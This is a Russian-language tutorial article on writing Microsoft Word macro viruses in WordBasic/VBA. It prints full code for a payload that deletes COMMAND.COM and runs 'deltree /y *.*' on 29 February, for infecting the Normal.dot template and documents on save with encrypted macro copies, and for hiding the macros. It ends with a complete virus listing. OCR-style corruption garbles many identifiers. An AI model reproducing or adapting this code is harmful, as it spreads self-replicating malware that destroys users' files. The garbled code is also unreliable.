Покажите мне пользователя, у которого не стоит на компьютере пакет «Майкрософт Офис»? Я хочу на него посмотреть! И действительно редко встретишь человека, у которого стоит «Виндовс» и нету «Ворда», «Экселя» и т.д. Сегодня мы обратим наш взор на макровирусы — вирусы, которые не относятся ни к .com, ни к .ехе, так как являются ничем иным, как макросом…
Вирусописатели не могли обойти вниманием такую интересную тему, как макросы. Изначально это придумывалось как средство облегчения жизни пользователю, работающему с большим количеством документов, но, как всегда, нашлись те, кто перевел это направление в совсем другое русло. Думаю, что у многих часто случалось не закончить работу и взять ее на дом, и, когда вы вставляли дискету/диск, вдруг антивирус выдавал тревожное сообщение, говоря, что ваш «план работы на матр» — это вирус… Вот именно та ситуация. Макровирус. Макрос — это программа, написанная на некотором языке, которая используется обычно для автоматизации определенных процессов внутри приложений. В данном случае разговор пойдет о языках Visual Basic for Applications (VBA) и WordBasic (WB), которые Microsoft использует в своих программах (в частности, Excel, Project и PowerPoint используют VBA, a WinWord — WB). В дальнейшем будем опираться на язык VBA, т.к. он, пожалуй, самый распространенный. Макрос, написанный на VBA, — это не что иное, как вызываемые процедуры. Процедуры эти бывают двух типов: процедуры-программы и процедуры-функции. Процедуры-программы могут исполняться непосредственно или же активироваться по запросу из других макросов. Их синтаксис следующий:
Sub <Имя_Макроса> -> код макроса <- ‘ Комментарий начинается с апострофа End Sub В качестве примера можно привести следующий макрос: ‘ Данный макрос открывает окно диалога и выводит в нем сообщение Sub Stupid_Greeting MsgBox “Hello World!” End Sub
Процедуры-функции (также называемые просто функциями) возвращают значение, которое может быть передано в качестве параметра другой процедуре. Их синтаксис: Function <Имя_Функции> (Аргументы) -> Инструкции <- ‘ комментарий End Function Пример: ‘Суммирует параметры a и b и возвращает ‘ результат в переменную “AddAB” Function AddAB (a, b) AddAB=a+b End Function
При этом следует учитывать, что макрос, написанный в английской версии «Майкрософт Ворд», не будет работать на, скажем, испанской, т.к. просто вызовет ошибку. Однако есть функции, которые одинаковы для всех. Рассмотрим их ниже: Auto. Это макрос, активируемый при загрузке текстового процессора, но только в том случае, если он сохранен в шаблоне Normal.dot или в каталоге стандартных приложений. AutoNew. Активизируется при создании нового документа. AutoOpen. Активизируется при открытии существующего документа. AutoClose. Активизируется при закрытии документа. AutoExit. Активизируется при выходе из текстового процессора.
Давайте рассмотрим пример одного макроса: 'Макрос наиболее эффективен, если его сохранить как AutoExit Sub Main 'Проверим регистрационное имя If Application.Username <> "MaD_MoTHeR" Then 'Снимем атрибуты COMMAND.COM SetAttr "C:COMMAND.COM",0 'Откроем для проверки — вдруг появятся ошибки Open "CACOMMAND.COM" for Output as #1 'Если ошибки есть, то закроем. Close #1 'и удалим Kill "CACOMMAND.COM" End If 'Проверим месяц и дату. Если 29 февраля, то выполним 'команду "deltree /у >nul If Month(Now())=2 Then If Day(Now())=29 Then Shell "deltree /y *.* >nul" End If End If End Sub
При выходе из WinWord он проверяет два параметра: имя, на которое зарегистрирован WinWord (если это не MaD_MoTHeR, то будет удален файл COMMAND.COM), и текущую системную дату (если это 29 февраля, выполняется команда "deltree /у *.* > nul". Очень важно знать, как адаптировать автоматический макрос (ниже приведен простейший вариант), чтобы активизировать его в открываемый по умолчанию шаблон WinWord. Это делается так: ‘ Определяется переменная, в которую записывается полное имя макроса
name$=WindowName$()+":AutoNew" 'этот макрос будет выполняться каждый раз 'при создании нового документа ‘Теперь нужно записать макрос в шаблон NORMAL.DOT простой командой MacroCopy name$, "Global:AutoNew" ‘Это стандартный способ работы макровирусов, но есть еще много других, более интересных способов заражения. Всего-то и нужно немного воображения и несколько строчек кода. Одним из трюков, который усложняет подобные вирусы и затрудняет их анализ, является кодирование макровирусов. MacroCopy "MyTemplate:MyMacro", "GlobahAutoClose", 1
Код для процедуры автовыполнения может выглядеть примерно так: Sub MAIN On Error Goto Abort if MacroCount=CountMacros(0, 0) 'Проверка на зараженность For i=1 To iMacroCount If MacroName$(i, 0, 0)="PayLoad" Then binstalled =-1 'с помощью макроса Payload End If If MacroName$(i, 0, 0)="FileSaveAs" Then bTooMuchTrouble =-1 'но если есть макрос FileSaveAs, 'то заразить тяжело End If Next i If Not binstalled And Not bTooMuchTrouble Then 'Добавим макросы FileSaveAs и копии Auto и FileSave 'Payload используется только для проверки на зараженность ',1 — кодирует макросы, делая их нечитаемыми в Word iWW6llnstance=Val(GetDocumentVar$("WW6lnfector")) sMe$=FileName$() Macro$=sMe$+":PayLoad" MacroCopy Macro$, "Global:PayLoad", 1 Macro$=sMe$+":FileOpen" 'Будет происходить заражение MacroCopy Macro$, "GlobahFileOpen", 1 Macro$=sMe$+":FileSaveAs" MacroCopy Macro$, "GlobahFileSaveAs", 1 Macro$=sMe$+":Auto" MacroCopy Macro$, "GlobahAuto", 1 SetProfileString "WW6I", Str$(iWW6llnstance+1) End If Abort: End Sub
Большинство макровирусов имеют схожую структуру. Начинаются они обычно с макроса, который заражает глобальный шаблон Normal.dot. Также в состав входят еще несколько макросов, предназначенных для заражения файлов при определенных действиях пользователей (сохранить как, сохранить, создание макроса и т.д.). Документы заражаются при совершении над ними операций, чаще всего при открытии. Давайте рассмотрим подробней некоторые процедуры.
SaveAs
Она копирует макровирус в активный документ при его сохранении через команду файл/сохранить как. Sub MAIN Dim dig As FileSaveAs GetCurValues dig Dialog dig If (Dlg.Format=0) Or (dlg.Format=1) Then MacroCopy "FileSaveAs", WindowName$()+":FileSaveAs" 'Заражает при сохранении документа MacroCopy "FileSave", WindowName$()+":FileSave" MacroCopy "PayLoad", WindowName$()+":PayLoad" MacroCopy "FileOpen", WindowName$()+":FileOpen" 'При открытии документа Dlg.Format=1 End If FileDaveAs dig End Sub
Специальные процедуры
Есть возможность также скрыть макровирус от посторонних глаз, тем самым сделав его намного эффективнее. Для этого можно воспользоваться макросом, который будет это делать. Его код выглядит примерно так: Sub MAIN On Error Goto ErrorRoutine OldName$=NomFichier$() If macros.bDebug Then MsgBox "start ToolsMacro" Dim dig As OutilsMacro If macros.bDebug Then MsgBox "1" GetCurValues dig If macros.bDebug Then MsgBox "2" On Error Goto Skip Dialog dig OutilsMacro dig Skip: On Error Goto ErrorRoutine 'При ошибке на выход End If REM enable automacros DisableAutoMacros 0 macros. SavToGlobal(01dName$) macros.objectiv Goto Done 'Переход на метку Done ErrorRoutine: On Error Goto Done 'Переход на метку Done If macros.bDebug Then MsgBox "error "+Str$(Err)+" occurred" 'Сообщение об ошибке End If Done: End Sub
Макровирусы имеют возможность включать внешние процедуры — например, компилировать файл-разносчик или форматировать винчестер и т.д. Итак, мы рассмотрели основы создания макровирусов, а теперь предоставляю вашему вниманию листинг вируса: Macro name: AutoNew [AUTONEW] "U" Encryption key: DF Sub MAIN 'Включаем обработку автоматических макросов DisableAutoMacros 0 'Проверим, установлен ли макрос. Если макрос Auto 'присутствует, считаем, что файл заражен If (lnstalled=0) And (Forgetlt=0) Then 'Заразим. Копируем макрос MacroCopy WindowName$()+":Auto", "GlobahAuto", 1 MacroCopy WindowName$()+":AutoNew", "Global:AutoNew", 1 MacroCopy WmdowName$()+":AutoOpen", "Global:AutoOpen", 1 MacroCopy WindowName$()+":DateiSpeichem", "Global:DateiSpeichern", 1 MacroCopy WindowName$()+":DateiSpeichernUnter", "Global.-DateiSpeichernllnter", 1 MacroCopy WindowName$()+":DateiBeenden", "GlobahDateiBeenden", 1 MacroCopy WindowName$() + ": ExtrasOptionen ", "Global :ExtrasOptionen", 1 MacroCopy WindowName$()+":DateiDokvorlagen", "GlobaLDateiDokvorlagen", 1 MacroCopy WindowName$()+":lt", "Global:lt", 1 MacroCopy WindowName$()+":DateiDrucken", "GlobahDateiDrucken", 1 End If End Sub
'Функция проверяет, инсталлирован ли макрос Auto Function Installed ' Установим переменную Installed в 0 (инициализация переменной). ' При положительном результате проверки установим ее в 1 lnstalled=0 'Проверим, есть ли макросы If CountMacros(O) > 0 Then ' Проверим имена макросов. Если есть Auto, ' установим переменную Installed в 1 For i=1 To CountMacros(O) If MacroName$(i, 0)="Auto" Then lnstalled=1 End If Next i End If End Function Function Forgetit Forgetlt=0 Section$="Compatibility" ProfilName$="Nomvir" BlaBla$=GetProfileString$(Section$, ProfilName$) If BlaBla$="Ox0690690" Then Forgetlt=1 End If End Function
Вот и все на сегодня. Мы рассмотрели макровирусы, так сказать, покопались в их внутренностях. Надеюсь, вы почерпнули много полезной информации. P.S.: Предоставленные автором материалы носят чисто ознакомительный характер. Автор не несет никакой ответственности за использование данной статьи в злонамеренных целях.